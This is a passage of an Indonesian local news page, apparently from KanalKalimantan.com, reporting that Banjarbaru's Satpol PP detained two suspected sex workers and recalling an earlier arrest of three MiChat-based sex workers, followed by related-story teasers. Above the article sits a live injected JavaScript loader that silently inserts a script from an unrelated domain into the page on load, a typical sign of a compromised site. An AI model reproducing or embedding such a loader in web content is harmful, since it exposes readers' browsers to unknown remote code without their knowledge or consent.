(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kurang lebih sepekan, Satpol PP kota Banjarbaru mengamankan tiga PSK online di Kota Banjarbaru. Kali ini, ‘jualan pakan burung’ itu kembali ditemukan petugas di kawasan eks lokalisasi Pembatuan, Jalan Kenanga, Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin, Kota Banjarbaru.
Dalam giat Satpol PP Kota Banjarbaru, Senin, (15/7), Seksi Teknik Fungsional yang dipimpin Jufriadi SH, berhasil mengamankan 2 wanita penjaja kenikmatan alias PSK. Giat ini sendiri menyasar pada ketertiban umum dan ketentraman masyarakat, pengawasan PKL dan reklame serta pengawasan eks lokalisasi yang berada di Kota Banjarbaru.
Petugas awalnya memulai kegiatan menyusuri sepanjang jalan Trikora untuk melakukan giat pengawasan PKL dan reklame di sepanjang jalan Trikora dengan terpantau tertib.
Selanjutnya petugas melakukan pengawasan eks lokalisasi Pembatuan dengan menyusuri jalan Kenanga.
Saat itu, petugas melihat 2 perempuan yang diduga PSK, namun ketika petugas mendekati keduanya langsung lari. Melihat aksi itu, petugas pun dengan sigap mengejarnya dan mendapati dua PSK yang ternyata sedang menjajakan dirinya.
Jufriadi mengatakan pihaknya kemudian melakukan introgasi di tempat dengan singkat terkait aktivitas dua wanitaitu. Kemudian, mereka langsung dibawa Mako Satpol PP untuk melakukan tindakan penyelidikan dan pemeriksan lanjutan.
Dua PSK yang diamankan dengan inisial LS (30) asal Malang, Jawa Timur dan ML (32) dari Jawa Tengah.
“Keduanya mengaku baru satu bulan melakukan aktivitas di eks lokalisasi Pembatuan dengan menjajakan diri. Sekali kencan, mereka mematok harga Rp 100 ribu dan sudah beberapa kali melayani para lelaki hidung belang,” kata Jufriadi.
Selain itu juga, salah satu terduga PSK yakni LS, baru sebulan ini beraktivitas di sana. Meski, tarif yang dipatok mereka memang lebih murah dibanding dengan para PSK online, tentunya aktivitas PSK di kota Banjarbaru masih acap kali ditemukan.
Sebelumnya, 3 PSK online yang diamankan petugas, melakukan bisnis esek-esek melalui media sosial melalui aplikasi Michat lewat sistem boking online.
Baca juga : Beroperasi di Aplikasi Michat, Tiga PSK Online di Banjarbaru Diciduk!
Penangkapan PSK berbasis online , Selasa (9/7) sekitar pukul 12.00 Wita, dilakukan di salah satu kos Komplek Maria, Jalan Pandu, Kelurahan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.
Dari pengakuan ketiga PSK Online ini kepada petugas, memang telah lama melakukan bisnis ‘pemberi makan burung’ ini. Seperti halnya NL dan NR yang telah 8 bulan menjadi PSK Online. Sedangkan, JY sudah 21 hari terakhir melayani para pria hidung belang. (rico)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.